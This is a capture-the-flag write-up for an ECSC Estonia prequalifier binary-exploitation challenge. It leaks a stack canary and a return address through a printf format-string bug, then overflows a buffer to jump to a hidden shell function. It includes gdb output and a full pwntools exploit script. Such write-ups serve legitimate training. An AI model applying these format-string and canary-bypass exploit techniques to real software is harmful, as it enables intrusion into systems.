ECSC Estonia Prequalifier - Pwn Me Good Uwu Wifu Edition

Refer to ECSC Estonia Prequalifier - Pwn Me Good Uwu for context and part 1.

The binary we are given is the same, except now the binary has stack canaries and is compiled as PIE.

This time we are still abusing the `vulnerable_log` function, except since it just calls `printf` with our unsanitized input, we will use that to leak the canary token and a memory address, with which we can construct our ROP chain and jump to the hidden_shell function.

Firstly we need to leak the canary token. We can do this by passing in a bunch of `%llx` as our payload, which, since it is passed directly to `printf`, will throw out a bunch of memory addresses formatted as 8byte numbers. From those we just need to find out which one is the canary token. A more elegant solution is to have the payload as `%N$llx` where `N` is some number. It is a bit weird to find out this number since putting many `%llx` and then counting how many numbers are output is not the correct `N`. So instead a less stressful way is to just open up the binary in gdb. Set a breakpoint after the canary token has been set inside the `vulnerable_log` function and then look at it's value. After that, since the canary token does not change between calls to the function, just input different `N`-s into the payload until you get the canary.

Method visualized:

Set the breakpoint at the correct position:

```
gef➤  disas vulnerable_log
Dump of assembler code for function vulnerable_log:
   0x0000000000001644 <+0>: push   rbp
   0x0000000000001645 <+1>: mov    rbp,rsp
   0x0000000000001648 <+4>: sub    rsp,0x90
   0x000000000000164f <+11>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000001658 <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000165c <+24>:    xor    eax,eax
   0x000000000000165e <+26>:    lea    rax,[rip+0xa9a]        # 0x20ff
   0x0000000000001665 <+33>:    mov    rdi,rax
   0x0000000000001668 <+36>:    mov    eax,0x0
   0x000000000000166d <+41>:    call   0x1080 <printf@plt>
   0x0000000000001672 <+46>:    lea    rax,[rbp-0x90]
   0x0000000000001679 <+53>:    mov    edx,0x100
   0x000000000000167e <+58>:    mov    rsi,rax
   0x0000000000001681 <+61>:    mov    edi,0x0
```

```
   0x0000000000001686 <+66>:    call   0x1090 <read@plt>
   0x000000000000168b <+71>:    lea    rax,[rbp-0x90]
   0x0000000000001692 <+78>:    mov    rdi,rax
   0x0000000000001695 <+81>:    mov    eax,0x0
   0x000000000000169a <+86>:    call   0x1080 <printf@plt>
   0x000000000000169f <+91>:    nop
   0x00000000000016a0 <+92>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000016a4 <+96>:    sub    rax,QWORD PTR fs:0x28
   0x00000000000016ad <+105>:   je     0x16b4 <vulnerable_log+112>
   0x00000000000016af <+107>:   call   0x1050 <__stack_chk_fail@plt>
   0x00000000000016b4 <+112>:   leave
   0x00000000000016b5 <+113>:   ret
End of assembler dump.
gef➤  b *vulnerable_log+20
Breakpoint 1 at 0x1658
```

Then run the program with `r` and choose option 4, at which point the breakpoint will be hit and we can inspect the canary token value, which should now be in the `rax` register.

```
gef➤  p $rax
$1 = 0x352f4a8018d70400
```

Now we just need to try different N values until we find the correct one (to get a rough estimate of the size, you can do the `%llx,` spam to see which one the canary token was, and then try to guess around that - my experience was that the `N` value had to be a little bigger than the position in which `%llx,` spam showed the canary.

The payload of `%27$llx` works:

```
Enter log message: %27$llx
352f4a8018d70400
```

There is actually a better way which is to dump the memory in gdb and try some value N and see which memory address it dumped and then add/subtract based on how many addresses you were off by, but that method is too annoying to write in this writeup so I will leave a simpler method that also works.

Now that we have obtained a payload to get the canary token, we have another obstacle we must overcome before we can perform a buffer overflow attack - the fact that the binary is compiled as a PIE, which means the memory addresses are randomized on each execution and we can't hardcode any memory addresses.

The solution? Since we know that the old instruction pointer was pushed to the stack before the `vulnerable_log` function was called and we can leak stack values by abusing `printf`, then we can use the same technique to also obtain the memory address that was pushed to the stack. The moment `printf` is called with our payload, the saved instruction address on the stack will be at `rbp+0x8`, so by decreasing (I don't know why decrease, but it's decrease not increase) the canary token payload's `N` a bit (by 2 actually, since the canary token resides at `rbp-0x8`).

Anyway now we have the payload `%27$llx` for leaking the canary token and `%25$llx` for leaking the return memory address of the `vulnerable_log` function.

But where does this actually point to? Well looking back to the main function we know that the return address should point to the memory address after the call to `vulnerable_log`. We can get it's offset relative to the start of the main function with `gdb`:

```
gef➤  disas main
Dump of assembler code for function main:
  ...
   0x000000000000176d <+122>:   call   0x12df <add_note>
   0x0000000000001772 <+127>:   jmp    0x17c0 <main+205>
   0x0000000000001774 <+129>:   mov    eax,0x0
   0x0000000000001779 <+134>:   call   0x1438 <delete_note>
   0x000000000000177e <+139>:   jmp    0x17c0 <main+205>
   0x0000000000001780 <+141>:   mov    eax,0x0
   0x0000000000001785 <+146>:   call   0x1560 <view_note>
   0x000000000000178a <+151>:   jmp    0x17c0 <main+205>
   0x000000000000178c <+153>:   mov    eax,0x0
   0x0000000000001791 <+158>:   call   0x1644 <vulnerable_log>
   0x0000000000001796 <+163>:   jmp    0x17c0 <main+205>
   0x0000000000001798 <+165>:   lea    rax,[rip+0x97f]        # 0x211e
   ...
End of assembler dump.
```

We see here that the address it points to is `main+163`. This means that by subtracting 163 from the address we leak we get the starting address of the main function.

If we know the starting address of the main function then we can calculate the address of the `hidden_shell` function via offset. If we grab the memory addresses of `main` and `hidden_shell` we can calculate their offset to be `0x16f3 - 0x16b6 = 61`. This means that the address of the hidden shell is `main_addr - 61`.

Now all we need to do is write the exploit.
First we need to leak the canary token and memory address, then we can calculate which offset our leaked canary token should be when overflowing the buffer.
This can again be calculated by looking at the disassembly of the `vulnerable_log` function:

```
00001644  int64_t vulnerable_log()

00001644  55                   push    rbp {__saved_rbp}
00001645  4889e5               mov     rbp, rsp {__saved_rbp}
00001648  4881ec90000000       sub     rsp, 0x90
0000164f  64488b0425280000…    mov     rax, qword [fs:0x28]
00001658  488945f8             mov     qword [rbp-0x8 {var_10}], rax
0000165c  31c0                 xor     eax, eax  {0x0}
0000165e  488d059a0a0000       lea     rax, [rel data_20ff]
00001665  4889c7               mov     rdi, rax  {data_20ff, "Enter log message: "}
00001668  b800000000           mov     eax, 0x0
0000166d  e80efaffff           call    printf
00001672  488d8570ffffff       lea     rax, [rbp-0x90 {var_98}]
00001679  ba00010000           mov     edx, 0x100
0000167e  4889c6               mov     rsi, rax {var_98}
00001681  bf00000000           mov     edi, 0x0
00001686  e805faffff           call    read
```

We see here that the canary token is stored at memory address `rbp-0x8` and our user controlled buffer is at `rbp-0x90`. We also see that `0x100` bytes of user input are read into a `0x90` bytes array meaning we can overflow it. The memory address we want to overwrite is at `rbp+0x8` (since it was pushed to the stack before calling `vulnerable_log`).

Once again we want to fix the stack alignment before calling `hidden_shell`. For that I just found a random ret address, calculated it's offset to the main function and added it to the rop chain.

The final exploit looks like this:

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template zerochain2
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'zerochain2')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable
ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
```

```python
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
break *vulnerable_log+96
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Partial RELRO
# Stack:      Canary found
# NX:         NX enabled
# PIE:        PIE enabled
# Stripped:   No

canary_token_val_leak_payload = b'%27$llx'
ret_addr_leak_payload = b'%25$llx' # main + 163

io = start()
# io = remote('10.42.6.131', 6969)

# Get canary token
log.info(io.recvuntil(b'Your choice: '))
choose_vuln_log = b'4\n'
log.info(f'Sending reply: {choose_vuln_log}')
io.send(choose_vuln_log)
log.info(io.recvuntil(b'Enter log message: '))

log.info(f'Sending reply: {canary_token_val_leak_payload}')
io.send(canary_token_val_leak_payload)
canary_token = int(io.recvline().strip().decode(), 16)
log.info(f'Got canary token: 0x{canary_token:0x}')

# Get main address
log.info(io.recvuntil('Your choice: '))
log.info(f'Sending reply: {choose_vuln_log}')
io.send(choose_vuln_log)
log.info(io.recvuntil(b'Enter log message: '))

log.info(f'Sending reply: {ret_addr_leak_payload}')
io.send(ret_addr_leak_payload)
main_plus_163 = int(io.recvline().strip().decode(), 16)
log.info(f'Got main+163 address: 0x{main_plus_163:0x}')
main_addr = main_plus_163 - 163
log.info(f'Calculated main address: 0x{main_addr:0x}')
```

```python
hidden_shell_addr = main_addr - 61  # 0x00005555555556f3 -
0x00005555555556b6 = 61
log.info(f'Calculated hidden_shell address: 0x{hidden_shell_addr:0x}')
ret_instruction_addr = hidden_shell_addr + 60
log.info(f'Calculated address for ret instruction for stack alignment:
0x{ret_instruction_addr}')

# Take control of execution
log.info(io.recvuntil(b'Your choice: '))
choose_vuln_log = b'4\n'
log.info(f'Sending reply: {choose_vuln_log}')
io.send(choose_vuln_log)
log.info(io.recvuntil(b'Enter log message: '))
canary_token_offset = 0x90 - 0x8
ret_addr_offset = canary_token_offset + 16
payload = fit({canary_token_offset: p64(canary_token), ret_addr_offset:
p64(ret_instruction_addr) + p64(hidden_shell_addr)})

log.info(f'Sending payload: {payload}')
log.info('Hopefully we get a shell...')
io.send(payload)
io.interactive()
```